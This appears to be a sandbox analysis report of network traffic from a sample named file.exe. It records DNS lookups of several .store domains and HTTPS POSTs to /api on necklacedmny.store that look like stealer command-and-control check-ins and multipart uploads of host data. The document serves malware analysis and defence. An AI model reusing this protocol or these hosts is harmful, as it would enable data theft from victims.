Oct 29, 2024 04:01:19.109808922 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.109918118 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.109951973 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.120155096 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:19.120318890 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:19.120358944 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:20.941644907 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:20.941761017 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:20.941931963 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:20.942105055 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:20.942117929 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:20.970798969 CET	49712	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:20.970859051 CET	443	49712	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:20.970982075 CET	49712	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:20.971353054 CET	49712	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:01:20.971383095 CET	443	49712	188.114.97.3	192.168.2.5
Oct 29, 2024 04:01:21.458133936 CET	49712	443	192.168.2.5	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 04:01:09.471839905 CET	59811	53	192.168.2.5	1.1.1.1
Oct 29, 2024 04:01:09.481197119 CET	53	59811	1.1.1.1	192.168.2.5
Oct 29, 2024 04:01:09.487468004 CET	49363	53	192.168.2.5	1.1.1.1
Oct 29, 2024 04:01:09.502435923 CET	53	49363	1.1.1.1	192.168.2.5
Oct 29, 2024 04:01:09.504858017 CET	63326	53	192.168.2.5	1.1.1.1
Oct 29, 2024 04:01:09.514101028 CET	53	63326	1.1.1.1	192.168.2.5
Oct 29, 2024 04:01:09.516504049 CET	50087	53	192.168.2.5	1.1.1.1
Oct 29, 2024 04:01:09.525660992 CET	53	50087	1.1.1.1	192.168.2.5
Oct 29, 2024 04:01:09.528207064 CET	61435	53	192.168.2.5	1.1.1.1
Oct 29, 2024 04:01:09.540446043 CET	53	61435	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 04:01:09.471839905 CET	192.168.2.5	1.1.1.1	0x2f89	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:01:09.487468004 CET	192.168.2.5	1.1.1.1	0x3f9	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:01:09.504858017 CET	192.168.2.5	1.1.1.1	0xf0aa	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:01:09.516504049 CET	192.168.2.5	1.1.1.1	0xb866	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:01:09.528207064 CET	192.168.2.5	1.1.1.1	0x9ce9	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 04:01:09.481197119 CET	1.1.1.1	192.168.2.5	0x2f89	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:01:09.502435923 CET	1.1.1.1	192.168.2.5	0x3f9	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:01:09.514101028 CET	1.1.1.1	192.168.2.5	0xf0aa	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:01:09.525660992 CET	1.1.1.1	192.168.2.5	0xb866	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:01:09.540446043 CET	1.1.1.1	192.168.2.5	0x9ce9	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:01:09.540446043 CET	1.1.1.1	192.168.2.5	0x9ce9	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

necklacedmny.store

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.97.3	443	3056	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:01:10 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 03:01:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 03:01:10 UTC	1019	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:01:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eupsomqu4fnbkpaqj4lccdo894; expires=Fri, 21 Feb 2025 20:47:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ORE%2Bv%2F%2BJZp6RKuBdTTacm5eHj2cOaDC0kxLU%2BOCTJMq87xqBFFkZAib6kdRsfH9LGczHqamdl7tSMQ%2B3VQliuIAr1vv1QmuP7zmQRTlLYWO1%2B4HDChvOhESAz7ztu1yZHiHDhe4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9feb638beb6bd2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1318&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2210687&cwnd=251&unsent_bytes=0&cid=62f1d31f51556e1c&ts=529&x=0"
2024-10-29 03:01:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 03:01:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.97.3	443	3056	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:01:11 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 03:01:11 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 03:01:11 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:01:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=33bnr2ubaq07426up3jp1b7e9n; expires=Fri, 21 Feb 2025 20:47:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZIo7yF229JkZM0AEfSlT03XxRJ3LHVhH65T%2BJJdkMidRPIRKIMOFmRgUb2YtexF6v4Vp1OtpLWzk2SpUUVvCk2p6FlzNMncOHqB9Dat3fQaryJvUPRRyMKQAmg93Fb4zoyggcH0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9feb6b4e0ae7a2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1160&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2366013&cwnd=251&unsent_bytes=0&cid=177d8687687cad63&ts=561&x=0"
2024-10-29 03:01:11 UTC	360	IN	Data Raw: 34 65 38 0d 0a 77 70 4f 77 70 70 6e 4c 51 71 2b 6c 6e 36 66 67 57 53 68 70 70 45 69 33 61 35 7a 49 47 74 44 42 32 58 2b 4e 68 65 34 4c 73 4f 6d 35 73 63 61 45 6f 2f 39 75 6a 64 62 36 68 64 6f 74 57 68 7a 42 5a 4a 55 4b 2b 4f 6f 67 74 71 43 31 44 4f 69 70 7a 48 33 64 79 2f 6a 31 30 63 72 71 72 6d 36 4e 77 4f 65 46 32 67 4a 54 53 38 45 6d 6c 56 47 2b 72 58 43 79 6f 4c 55 64 37 4f 36 42 65 39 79 4b 71 76 2f 58 7a 76 79 6f 4a 73 37 4a 38 73 4b 46 50 45 6b 44 79 69 48 61 41 2f 48 71 4e 76 4b 6b 6f 31 32 33 70 36 4e 75 78 49 69 50 38 73 50 4e 75 37 5a 75 31 49 66 36 79 63 4a 6a 43 67 6a 42 4b 74 73 4e 2b 4b 4e 79 75 4b 6d 39 48 4f 6e 76 6e 6d 4c 57 67 61 72 78 31 4d 2f 32 6f 54 4c 44 77 2f 58 4a 67 7a 5a 4a 53 34 68 71 30 68 47 2b 38 6a 6a 68 6b 62 67 4d 2f 76 Data Ascii: 4e8wpOwppnLQq+ln6fgWShppEi3a5zIGtDB2X+Nhe4LsOm5scaEo/9ujdb6hdotWhzBZJUK+OogtqC1DOipzH3dy/j10crqrm6NwOeF2gJTS8EmlVG+rXCyoLUd7O6Be9yKqv/XzvyoJs7J8sKFPEkDyiHaA/HqNvKko123p6NuxIiP8sPNu7Zu1If6ycJjCgjBKtsN+KNyuKm9HOnvnmLWgarx1M/2oTLDw/XJgzZJS4hq0hG+8jjhkbgM/v
2024-10-29 03:01:11 UTC	903	IN	Data Raw: 4f 68 79 6c 42 41 73 73 6e 31 51 54 30 70 58 75 79 70 4c 45 58 34 4f 32 49 5a 4e 2b 4e 6f 50 47 53 69 72 75 75 4f 49 32 66 76 65 61 48 4b 30 30 48 30 47 6a 76 53 65 48 6b 59 66 4b 6b 74 31 32 33 70 34 52 73 30 59 69 72 2f 74 48 4d 38 4c 73 67 33 38 48 77 77 4a 41 39 54 77 58 4d 4b 63 63 44 38 4b 78 37 75 36 69 79 47 4f 6a 6a 7a 43 65 53 6a 4c 69 78 69 6f 54 61 70 43 76 42 7a 65 72 46 77 69 51 45 45 6f 59 74 32 55 6d 6d 36 6e 79 7a 70 37 6f 5a 34 65 6d 49 5a 64 53 46 72 66 37 55 7a 76 75 75 4b 73 58 50 2f 4d 69 4a 4e 45 6f 4f 79 79 37 54 42 66 2b 76 4f 50 7a 6a 76 41 57 76 76 38 78 48 31 59 69 79 73 2b 66 48 39 61 63 6e 32 34 66 69 69 35 74 37 54 51 65 47 63 70 55 48 2b 36 56 71 73 37 47 2b 45 2f 33 72 69 57 2f 66 69 4b 37 78 31 38 50 32 70 79 62 4b 78 50 Data Ascii: OhylBAssn1QT0pXuypLEX4O2IZN+NoPGSiruuOI2fveaHK00H0GjvSeHkYfKkt123p4Rs0Yir/tHM8Lsg38HwwJA9TwXMKccD8Kx7u6iyGOjjzCeSjLixioTapCvBzerFwiQEEoYt2Umm6nyzp7oZ4emIZdSFrf7UzvuuKsXP/MiJNEoOyy7TBf+vOPzjvAWvv8xH1Yiys+fH9acn24fii5t7TQeGcpUH+6Vqs7G+E/3riW/fiK7x18P2pybKxP
2024-10-29 03:01:11 UTC	1369	IN	Data Raw: 33 66 38 34 0d 0a 47 63 73 67 30 41 66 79 72 33 65 79 6f 72 6f 54 35 65 7a 4d 4a 35 4b 4d 75 4c 47 4b 68 4e 53 6b 4d 4e 2f 4e 39 74 54 41 44 6b 6b 46 79 43 33 44 53 65 48 6b 59 66 4b 6b 74 31 32 33 70 34 64 76 33 6f 65 67 39 38 44 4b 39 4c 73 71 33 38 50 7a 77 59 34 31 51 77 62 4a 4c 38 63 4e 2f 72 68 35 74 36 53 31 45 50 33 69 7a 43 65 53 6a 4c 69 78 69 6f 54 42 6e 53 66 64 31 76 71 48 74 7a 68 45 42 63 45 38 6c 52 61 77 73 7a 69 31 72 2f 74 46 72 2b 53 41 5a 4e 75 4f 72 2b 50 59 79 50 71 37 4a 38 54 4f 39 38 53 4d 4e 45 45 48 77 7a 6a 65 42 76 61 6c 65 62 2b 75 73 42 6e 76 70 38 49 70 31 5a 50 67 71 5a 4c 6c 39 71 59 79 7a 74 61 2f 38 49 45 31 52 41 7a 51 61 73 70 48 35 2b 70 2f 76 75 50 6a 58 65 37 72 67 47 6a 64 6a 61 72 35 30 63 58 70 6f 43 2f 46 79 Data Ascii: 3f84Gcsg0Afyr3eyoroT5ezMJ5KMuLGKhNSkMN/N9tTADkkFyC3DSeHkYfKkt123p4dv3oeg98DK9Lsq38PzwY41QwbJL8cN/rh5t6S1EP3izCeSjLixioTBnSfd1vqHtzhEBcE8lRawszi1r/tFr+SAZNuOr+PYyPq7J8TO98SMNEEHwzjeBvaleb+usBnvp8Ip1ZPgqZLl9qYyzta/8IE1RAzQaspH5+p/vuPjXe7rgGjdjar50cXpoC/Fy
2024-10-29 03:01:11 UTC	1369	IN	Data Raw: 79 52 67 50 4b 4c 63 63 45 2b 36 4a 79 75 36 61 33 45 4f 7a 31 6a 32 69 53 78 65 44 32 79 6f 53 6a 36 51 66 2b 38 4e 36 46 6e 58 56 54 53 38 45 6d 6c 56 47 2b 71 33 43 31 72 62 38 50 34 66 57 43 62 74 4b 4e 71 50 6e 56 79 50 57 6e 4d 73 58 47 2f 63 75 4e 4d 30 4d 50 78 79 37 52 42 66 6e 71 4e 76 4b 6b 6f 31 32 33 70 36 52 71 79 4a 48 69 33 39 6e 45 2f 4c 6b 32 31 6f 66 69 69 35 74 37 54 51 65 47 63 70 55 4e 39 61 42 78 73 61 71 2f 45 4f 2f 75 67 32 44 61 68 71 6a 6a 30 38 37 70 72 53 58 4d 79 50 66 42 69 6a 64 46 42 38 49 34 33 6b 6d 77 36 6e 2b 71 34 2b 4e 64 7a 2b 79 61 53 73 43 5a 34 4f 36 63 33 62 75 75 4c 49 32 66 76 63 79 4f 4f 6b 73 42 77 43 48 51 42 50 36 76 63 72 57 76 75 78 33 73 34 59 70 6b 32 6f 4f 73 2f 64 48 4a 2f 71 30 79 33 38 50 31 68 63 Data Ascii: yRgPKLccE+6Jyu6a3EOz1j2iSxeD2yoSj6Qf+8N6FnXVTS8EmlVG+q3C1rb8P4fWCbtKNqPnVyPWnMsXG/cuNM0MPxy7RBfnqNvKko123p6RqyJHi39nE/Lk21ofii5t7TQeGcpUN9aBxsaq/EO/ug2Dahqjj087prSXMyPfBijdFB8I43kmw6n+q4+Ndz+yaSsCZ4O6c3buuLI2fvcyOOksBwCHQBP6vcrWvux3s4Ypk2oOs/dHJ/q0y38P1hc
2024-10-29 03:01:11 UTC	1369	IN	Data Raw: 69 47 72 53 45 62 37 79 4f 4a 57 35 74 68 76 34 39 72 6c 75 30 74 72 67 37 70 7a 64 75 36 34 73 6a 5a 2b 39 79 49 34 78 52 77 37 43 49 74 49 4b 2f 36 5a 38 76 36 36 2f 46 4f 76 69 6e 6e 76 55 68 61 44 2b 33 4d 76 33 75 79 37 49 78 2f 47 46 7a 48 74 4e 45 34 5a 79 6c 54 6a 70 71 6a 69 74 37 61 4a 64 36 4f 76 4d 4d 5a 4b 45 72 65 50 65 79 2f 75 6f 49 38 6e 4d 2b 73 4f 45 4f 6b 6b 4f 78 53 2f 54 43 50 36 6d 63 72 57 72 73 52 50 69 34 59 68 76 31 4d 76 75 73 64 58 63 75 2f 46 67 2f 38 72 7a 7a 49 45 39 52 78 33 75 47 35 55 57 73 4c 4d 34 74 61 2f 37 52 61 2f 6a 68 32 48 65 6a 71 6a 30 30 38 7a 78 6f 53 2f 43 31 66 7a 4b 69 7a 78 42 42 73 6b 6b 30 41 66 73 72 58 4f 35 71 37 49 54 36 61 66 43 4b 64 57 54 34 4b 6d 53 38 76 69 6e 4b 39 7a 49 2f 73 6e 43 4a 41 51 Data Ascii: iGrSEb7yOJW5thv49rlu0trg7pzdu64sjZ+9yI4xRw7CItIK/6Z8v66/FOvinnvUhaD+3Mv3uy7Ix/GFzHtNE4ZylTjpqjit7aJd6OvMMZKErePey/uoI8nM+sOEOkkOxS/TCP6mcrWrsRPi4Yhv1MvusdXcu/Fg/8rzzIE9Rx3uG5UWsLM4ta/7Ra/jh2Hejqj008zxoS/C1fzKizxBBskk0AfsrXO5q7IT6afCKdWT4KmS8vinK9zI/snCJAQ
2024-10-29 03:01:11 UTC	1369	IN	Data Raw: 68 47 2b 38 6a 69 44 74 62 77 61 34 4b 57 6c 62 73 6d 4b 71 76 4c 5a 79 4c 75 32 62 74 53 48 2b 73 6e 43 59 77 6f 47 79 69 66 52 47 2f 4b 71 65 4c 75 6b 73 51 2f 67 36 49 46 71 30 6f 36 79 38 4d 44 4c 38 4b 77 6a 79 63 6a 79 79 59 6f 78 43 6b 57 47 4c 63 31 4a 70 75 70 55 73 62 4b 78 58 38 6a 39 6d 6d 37 65 6d 71 76 38 33 6f 54 6b 35 7a 6d 4e 77 50 47 46 32 6e 74 4b 43 73 73 34 30 41 6a 30 6f 48 57 36 72 4c 34 59 34 4f 4f 49 59 74 79 5a 72 76 37 53 77 76 43 6f 4a 63 37 4d 39 38 75 4c 4b 51 70 46 68 69 33 4e 53 61 62 71 55 71 6d 69 74 68 47 74 79 59 64 2f 31 63 6d 42 2f 39 6e 44 39 37 39 67 30 6f 6e 6b 68 59 55 33 43 6c 4f 47 49 39 73 46 2f 61 31 77 75 71 61 37 46 75 2f 6f 68 6d 66 56 6d 61 72 39 32 4e 62 30 71 69 33 4a 79 76 66 41 69 79 6c 50 41 73 42 71 Data Ascii: hG+8jiDtbwa4KWlbsmKqvLZyLu2btSH+snCYwoGyifRG/KqeLuksQ/g6IFq0o6y8MDL8KwjycjyyYoxCkWGLc1JpupUsbKxX8j9mm7emqv83oTk5zmNwPGF2ntKCss40Aj0oHW6rL4Y4OOIYtyZrv7SwvCoJc7M98uLKQpFhi3NSabqUqmithGtyYd/1cmB/9nD979g0onkhYU3ClOGI9sF/a1wuqa7Fu/ohmfVmar92Nb0qi3JyvfAiylPAsBq
2024-10-29 03:01:11 UTC	1369	IN	Data Raw: 5a 37 74 61 32 30 45 4f 44 67 68 32 62 59 68 62 4c 2b 31 38 7a 33 6f 53 33 66 7a 66 66 58 69 7a 4a 48 42 63 34 34 31 6b 6d 77 36 6e 2b 71 34 2b 4e 64 33 65 32 50 5a 63 53 47 72 37 48 4e 69 75 4c 70 4a 38 47 48 70 59 57 51 4b 55 6f 41 78 69 33 62 47 2f 2b 69 64 37 69 6a 76 52 62 6c 35 49 56 74 33 49 4b 6d 38 4e 2f 46 2b 71 6b 6c 7a 63 37 76 79 4d 4a 31 43 67 7a 65 61 6f 31 4a 79 61 5a 7a 67 36 43 74 58 66 43 70 6c 53 6e 56 68 2b 43 70 6b 73 58 70 70 43 6a 4a 78 2f 44 44 69 54 70 4c 43 4d 59 71 31 67 6e 37 6f 58 65 30 70 4c 59 58 35 75 36 65 59 64 61 5a 6f 50 33 57 68 4c 58 70 4a 39 57 48 70 59 57 79 4f 45 45 48 78 69 66 41 53 65 48 6b 59 66 4b 6b 74 31 32 33 70 34 52 69 32 59 32 72 38 74 48 4b 38 4b 4d 76 77 73 33 37 77 34 6f 2b 53 67 66 47 4c 39 4d 4e 2b Data Ascii: Z7ta20EODgh2bYhbL+18z3oS3fzffXizJHBc441kmw6n+q4+Nd3e2PZcSGr7HNiuLpJ8GHpYWQKUoAxi3bG/+id7ijvRbl5IVt3IKm8N/F+qklzc7vyMJ1Cgzeao1JyaZzg6CtXfCplSnVh+CpksXppCjJx/DDiTpLCMYq1gn7oXe0pLYX5u6eYdaZoP3WhLXpJ9WHpYWyOEEHxifASeHkYfKkt123p4Ri2Y2r8tHK8KMvws37w4o+SgfGL9MN+
2024-10-29 03:01:11 UTC	1369	IN	Data Raw: 74 2b 78 75 76 76 39 77 6e 6b 6f 2b 78 73 59 71 55 71 66 4a 31 6e 70 43 74 6c 35 31 31 55 30 76 51 61 6f 31 62 73 4f 70 71 38 76 76 37 57 75 7a 31 6e 6d 2f 52 6e 61 4f 32 37 50 72 62 6f 69 7a 4f 79 2f 7a 43 77 6e 55 4b 42 49 5a 79 37 45 6e 39 75 47 72 39 73 71 30 51 2f 2b 44 41 59 63 4f 47 72 4c 47 63 68 4c 65 74 4b 38 48 43 2b 74 58 4e 4b 56 6f 41 79 6a 79 5a 44 65 7a 71 4e 76 4b 79 73 42 4c 39 36 59 73 6d 77 35 32 74 34 64 48 42 2f 4f 55 6f 33 4d 72 78 68 63 78 37 58 77 44 4b 4c 4e 67 63 73 62 74 75 73 62 57 38 55 65 66 32 67 57 57 53 74 4f 36 78 79 6f 53 6a 36 52 58 4f 79 66 50 43 6c 43 6f 48 4b 38 30 6d 31 67 58 2f 72 54 6a 38 34 37 31 64 74 37 54 43 4b 64 61 61 34 4b 6d 43 6c 71 44 38 63 35 71 58 72 39 72 4d 49 67 6f 64 68 6e 4b 48 52 37 36 34 4f 4f Data Ascii: t+xuvv9wnko+xsYqUqfJ1npCtl511U0vQao1bsOpq8vv7Wuz1nm/RnaO27PrboizOy/zCwnUKBIZy7En9uGr9sq0Q/+DAYcOGrLGchLetK8HC+tXNKVoAyjyZDezqNvKysBL96Ysmw52t4dHB/OUo3Mrxhcx7XwDKLNgcsbtusbW8Uef2gWWStO6xyoSj6RXOyfPClCoHK80m1gX/rTj8471dt7TCKdaa4KmClqD8c5qXr9rMIgodhnKHR764OO
2024-10-29 03:01:11 UTC	1369	IN	Data Raw: 34 65 71 4e 61 74 79 49 73 75 50 55 78 2b 32 71 5a 2f 50 35 32 4d 69 50 50 6b 51 4d 2b 42 54 30 41 2b 36 6e 64 37 57 64 68 53 72 2b 34 4a 77 72 39 49 69 32 38 70 4b 4b 75 37 46 67 6c 59 66 63 7a 35 49 32 52 51 79 47 5a 4a 55 4e 76 76 49 34 6c 36 36 32 47 4f 48 67 7a 6b 6a 59 6d 36 33 2b 31 59 53 31 36 53 79 4e 6e 37 33 45 69 43 74 48 42 4d 46 6d 30 68 50 35 36 6a 62 79 72 66 74 46 72 2b 61 47 65 64 2b 45 70 37 33 55 79 76 58 70 50 34 50 65 76 64 50 43 59 78 6c 46 68 6a 69 56 55 62 37 74 64 72 2b 69 75 42 50 73 39 5a 35 76 30 5a 32 6a 74 75 7a 36 33 71 51 74 79 4d 6e 36 2b 37 77 61 51 42 76 4c 4a 64 4a 4c 33 71 31 75 73 5a 32 46 4b 76 37 67 6e 43 76 30 69 4c 62 79 6b 6f 71 37 73 57 43 56 68 39 7a 50 6b 6a 5a 46 44 49 51 4b 30 68 2f 39 36 6a 62 79 70 2f 74 Data Ascii: 4eqNatyIsuPUx+2qZ/P52MiPPkQM+BT0A+6nd7WdhSr+4Jwr9Ii28pKKu7FglYfcz5I2RQyGZJUNvvI4l662GOHgzkjYm63+1YS16SyNn73EiCtHBMFm0hP56jbyrftFr+aGed+Ep73UyvXpP4PevdPCYxlFhjiVUb7tdr+iuBPs9Z5v0Z2jtuz63qQtyMn6+7waQBvLJdJL3q1usZ2FKv7gnCv0iLbykoq7sWCVh9zPkjZFDIQK0h/96jbyp/t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.97.3	443	3056	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:01:12 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-29 03:01:12 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 38 43 43 38 45 36 38 31 32 39 35 37 38 44 44 36 36 44 39 42 31 34 32 34 43 30 33 36 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EB8CC8E68129578DD66D9B1424C03677--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 03:01:13 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:01:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qdvito3sgohihoavbh8cs2t4gh; expires=Fri, 21 Feb 2025 20:47:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mYsS6ovNtn5rKhE7Wg7Il9dDkw%2BprF7iDSug8WsbXAggEqshWq6oOQR015ItszobmoY7RQ6DbIvPtwsa1eGUXLrEqeY%2BniOAguAlCezuJElAftTprTlWcrfkj%2BkUnVAoh2O3ky4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9feb73f875474c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1085&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=2656880&cwnd=32&unsent_bytes=0&cid=41a8a002a13b8518&ts=543&x=0"
2024-10-29 03:01:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 03:01:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.97.3	443	3056	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:01:14 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-29 03:01:14 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 38 43 43 38 45 36 38 31 32 39 35 37 38 44 44 36 36 44 39 42 31 34 32 34 43 30 33 36 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; 